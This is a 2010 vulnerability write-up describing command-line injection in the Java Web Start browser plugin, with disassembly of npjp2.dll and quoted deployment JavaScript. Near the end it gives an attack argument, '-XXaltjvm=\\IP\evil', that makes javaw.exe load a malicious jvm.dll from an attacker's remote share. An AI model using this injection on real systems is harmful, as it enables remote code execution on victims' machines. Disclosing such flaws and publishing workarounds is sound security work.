JAVA Web Start Arbitrary commandline injection by h3m4n

VIEWS: 38 PAGES: 3

									                               JAVA Web Start Arbitrary commandline injection                                     Page 1/3
  1    Bye bye my little 0day :(, Tavis Ormandy did a great job uncovering a big logic flaw within Java JRE. I discovered th
       at bug and other that affects every browser few weeks ago and I posted the common "0day++" tweet.
  2
  3    The method in which Java Web Start support has been added to the JRE is not less than a deliberately embedded backdoo
       r(I really don’t think so) or a flagrant case of extreme negligence (+1). Let’s see:
  4
  5    Java Plugin for Browsers (Chrome,Firefox...) − Windows: npjp2.dll (The same for IE8’s jp2iexp.dll)
  6
  7    .text:6DAA3D96
  8    .text:6DAA3D96   ; =============== S U B R O U T I N E =======================================
  9    .text:6DAA3D96
  10   .text:6DAA3D96   ; Attributes: bp−based frame
  11   .text:6DAA3D96
  12   .text:6DAA3D96   sub_6DAA3D96    proc near               ; CODE XREF: sub_6DAA2ACB+170p
  13   .text:6DAA3D96
  14   .text:6DAA3D96   Data            = byte ptr −264h
  15   .text:6DAA3D96   var_263         = byte ptr −263h
  16   .text:6DAA3D96   ApplicationName = byte ptr −160h
  17   .text:6DAA3D96   StartupInfo     = _STARTUPINFOA ptr −5Ch
  18   .text:6DAA3D96   ProcessInformation= _PROCESS_INFORMATION ptr −18h
  19   .text:6DAA3D96   cbData          = dword ptr −8
  20   .text:6DAA3D96   hKey            = dword ptr −4
  21   .text:6DAA3D96   arg_0           = dword ptr 8
  22   .text:6DAA3D96   arg_4           = dword ptr 0Ch
  23   .text:6DAA3D96
  24   .text:6DAA3D96                   push    ebp
  25   .text:6DAA3D97                   mov     ebp, esp
  26   .text:6DAA3D99                   sub     esp, 264h
  27   .text:6DAA3D9F                   push    edi
  28   .text:6DAA3DA0                   lea     eax, [ebp+hKey]
  29   .text:6DAA3DA3                   push    eax              ; phkResult
  30   .text:6DAA3DA4                   push    20019h           ; samDesired
  31   .text:6DAA3DA9                   xor     edi, edi
  32   .text:6DAA3DAB                   push    edi              ; ulOptions
  33   .text:6DAA3DAC                   push    offset SubKey    ; "JNLPFile\\Shell\\Open\\Command"
  34   .text:6DAA3DB1                   push    80000000h        ; hKey
  35   .text:6DAA3DB6                   mov     [ebp+cbData], 104h
  36   .text:6DAA3DBD                   call    ds:RegOpenKeyExA
  37   .text:6DAA3DC3                   test    eax, eax
  38   .text:6DAA3DC5                   jz      short loc_6DAA3DCE
  39   .text:6DAA3DC7                   xor     eax, eax
  40   .text:6DAA3DC9                   jmp     loc_6DAA3F16
  41
  42
  43
  44   The default handler is "javaws.exe",continuing...
  45
  46   .text:6DAA3EB7                   push    [ebp+arg_4]
  47   .text:6DAA3EBA                   push    eax
  48   .text:6DAA3EBB                   push    offset aSDocbaseSS ; "\"%s\" −docbase %s %s"
  49   .text:6DAA3EC0                   push    esi             ; LPSTR
  50   .text:6DAA3EC1                   call    ebx ; wsprintfA
Ruben Santamarta                                                                                                   04/09/2010
                              JAVA Web Start Arbitrary commandline injection                                       Page 2/3
  51    .text:6DAA3EC3                 add     esp, 14h
  52    .text:6DAA3EC6                 jmp     short loc_6DAA3ED4
  53    .text:6DAA3EC8 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
  54    .text:6DAA3EC8
  55    .text:6DAA3EC8 loc_6DAA3EC8:                           ; CODE XREF: sub_6DAA3D96+11Fj
  56    .text:6DAA3EC8                 push    eax
  57    .text:6DAA3EC9                 push    offset aSS_0    ; "\"%s\" %s"
  58    .text:6DAA3ECE                 push    esi             ; LPSTR
  59    .text:6DAA3ECF                 call    ebx ; wsprintfA
  60    .text:6DAA3ED1                 add     esp, 10h
  61    .text:6DAA3ED4
  62    .text:6DAA3ED4 loc_6DAA3ED4:                           ; CODE XREF: sub_6DAA3D96+130j
  63    .text:6DAA3ED4                 push    11h
  64    .text:6DAA3ED6                 pop     ecx
  65    .text:6DAA3ED7                 xor     eax, eax
  66    .text:6DAA3ED9                 lea     edi, [ebp+StartupInfo]
  67    .text:6DAA3EDC                 rep stosd
  68    .text:6DAA3EDE                 lea     eax, [ebp+ProcessInformation]
  69    .text:6DAA3EE1                 push    eax             ; lpProcessInformation
  70    .text:6DAA3EE2                 xor     ebx, ebx
  71    .text:6DAA3EE4                 lea     eax, [ebp+StartupInfo]
  72    .text:6DAA3EE7                 push    eax             ; lpStartupInfo
  73    .text:6DAA3EE8                 push    ebx             ; lpCurrentDirectory
  74    .text:6DAA3EE9                 push    ebx             ; lpEnvironment
  75    .text:6DAA3EEA                 push    ebx             ; dwCreationFlags
  76    .text:6DAA3EEB                 push    ebx             ; bInheritHandles
  77    .text:6DAA3EEC                 push    ebx             ; lpThreadAttributes
  78    .text:6DAA3EED                 push    ebx             ; lpProcessAttributes
  79    .text:6DAA3EEE                 push    esi             ; lpCommandLine
  80    .text:6DAA3EEF                 lea     eax, [ebp+ApplicationName]
  81    .text:6DAA3EF5                 push    eax             ; lpApplicationName
  82    .text:6DAA3EF6                 mov     [ebp+StartupInfo.cb], 44h
  83    .text:6DAA3EFD                 call    ds:CreateProcessA
  84
  85
  86
  87    So basically the Java−Plugin Browser is running "javaws.exe" without validating command−line parameters. These parame
        ters can be controlled by attackers via specially crafted embed html tags within a webpage.
  88
  89    Let’s see JavaDeploy.txt:
  90
  91     if (browser == ’MSIE’) {
  92
  93                document.write(’<’ +
  94                    ’object classid="clsid:8AD9C840−044E−11D1−B3E9−00805F499D93" ’ +
  95                    ’width="0" height="0">’ +
  96                    ’<’ + ’PARAM name="launchjnlp" value="’ + jnlp + ’"’ + ’>’ +
  97                    ’<’ + ’PARAM name="docbase" value="’ + jnlpDocbase + ’"’ + ’>’ +
  98                    ’<’ + ’/’ + ’object’ + ’>’);
  99            } else if (browser == ’Netscape Family’) {
  100
  101              document.write(’<’ +
Ruben Santamarta                                                                                                    04/09/2010
                                JAVA Web Start Arbitrary commandline injection                                     Page 3/3
  102                     ’embed type="application/x−java−applet;jpi−version=’ +
  103                     deployJava.firefoxJavaVersion + ’" ’ +
  104                     ’width="0" height="0" ’ +
  105                     ’launchjnlp="’ + jnlp + ’"’ +
  106                     ’docbase="’ + jnlpDocbase + ’"’ +
  107                     ’ />’);
  108            }
  109
  110
  111   That’s it. This is how JAVA Plugin identifies Java Web Start content (jnlp files).So We can inject command−line param
        eters through "docbase" tag and even "launchjnlp".
  112
  113   What type of arguments can we abuse to compromise a system?
  114   java.exe and javaw.exe support an undocumented−hidden command−line parameter "−XXaltjvm" and curiosly also "−J−XXaltj
        vm" (see −J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) f
        rom the desired path. Game over. We can set −XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. B
        ye bye ASLR, DEP...
  115
  116   Linux
  117
  118   Same logic error, check this function "_Z10launchJNLPPKcS0" in libnpjp2.so
  119
  120   MACOSX
  121
  122   Not vulnerable.
  123
  124   Workaround
  125
  126   Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment Toolkit to avoid unwanted installation
         as stated in Tavis’ advisory.




Ruben Santamarta                                                                                                    04/09/2010

								
To top